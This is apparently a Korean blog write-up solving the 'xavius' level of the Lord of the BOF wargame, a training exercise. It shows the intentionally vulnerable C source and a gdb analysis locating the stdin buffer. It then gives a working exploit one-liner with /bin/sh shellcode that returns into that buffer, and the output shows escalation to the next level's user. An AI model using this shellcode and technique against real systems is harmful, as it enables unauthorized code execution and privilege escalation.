LOB nightmare => xavius

c0wb3ll ㅣ 2020. 4. 13. 12:31

LOB nightmare => xavius

문제

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
    char buffer[40];
    char *ret_addr;

    // overflow!
    fgets(buffer, 256, stdin);
    printf("%s\n", buffer);

    if(*(buffer+47) == '\xbf')
    {
        printf("stack retbayed you!\n");
        exit(0);
    }

    if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

    // check if the ret_addr is library function or not
    memcpy(&ret_addr, buffer+44, 4);
    while(memcmp(ret_addr, "\x90\x90", 2) != 0)    // end point of function
    {
        if(*ret_addr == '\xc9'){        // leave
            if(*(ret_addr+1) == '\xc3'){    // ret
                printf("You cannot use library function!\n");
                exit(0);
            }
        }
        ret_addr++; 
    }

        // stack destroyer
        memset(buffer, 0, 44);
    memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

    // LD_* eraser
    // 40 : extra space for memset function
    memset(buffer-3000, 0, 3000-40);
}

스택 막혔고
라이브러리 막혔고
LD_막혔고
08바이너리 이미지? 막혔다고 한다.
이 정도면 그냥 다막아둔거 아닌가;;


풀이

이번에는 전 소스코드와 다른점이 하나 있다.

바로 입력을 argv가 아닌 fgets함수를 이용해 받는다는 것

fgets 함수는 입력할때 stdin 버퍼를 거치게 되는데 이 버퍼에 내용은 지워져있지 않을 확률이 높다. ( 참고로 버퍼를 지우는 함수는 fflush 함수를 이용하면 된다.)

한번 찾아보자.

(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:    push   %ebp
0x8048715 <main+1>:    mov    %ebp,%esp
0x8048717 <main+3>:    sub    %esp,44
0x804871a <main+6>:    mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>

fgets의 마지막 인자는 stdin이다. 즉, fgets를 위해 push되는 인자 중 제일 앞에 있는 것 즉 0x08049a3c가 stdin이다. 저 주소를 찾아보자. ( 나는 main+12에 bp를 걸고 eax를 확인하였다.)

(gdb) x/100wx stdin
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288    0x40015059    0x40015059    0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:    0x40015000    0x40015000    0x40015000    0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:    0x40015400    0x00000000    0x00000000    0x00000000
0x401068f0 <_IO_2_1_stdin_+48>:    0x00000000    0x00000000    0x00000000    0x00000000
0x40106900 <_IO_2_1_stdin_+64>:    0xffffffff    0x00000000    0x401068a0    0xffffffff

아. 그리고 x/x stdin 해도 똑같은 결과가 나온다. 아무튼 stdin내용에 대한 자세한 설명은 다음 블로그에 있다.

https://hacksg.tistory.com/35

해당 블로그를 참고하면 대충 0x40015000이 버퍼의 시작점이고 0x40015059가 버퍼가 끝나는 위치라는 것을 알 수 있다. 그러면 쉘코드를 입력하고 점프 위치를 이곳으로 바꾸어 보자.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x01\x50\x01\x40"';cat) | ./xavius
????????????????????1픐h//shh/bin??S??
                                        것€P@

id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

음 성공적이다. 고민한것에 비해서는 그렇게 어려운 문제는 아니었던것 같다... 물론 모르고 몇일을 헤맨 내가 할 말은 아니지만...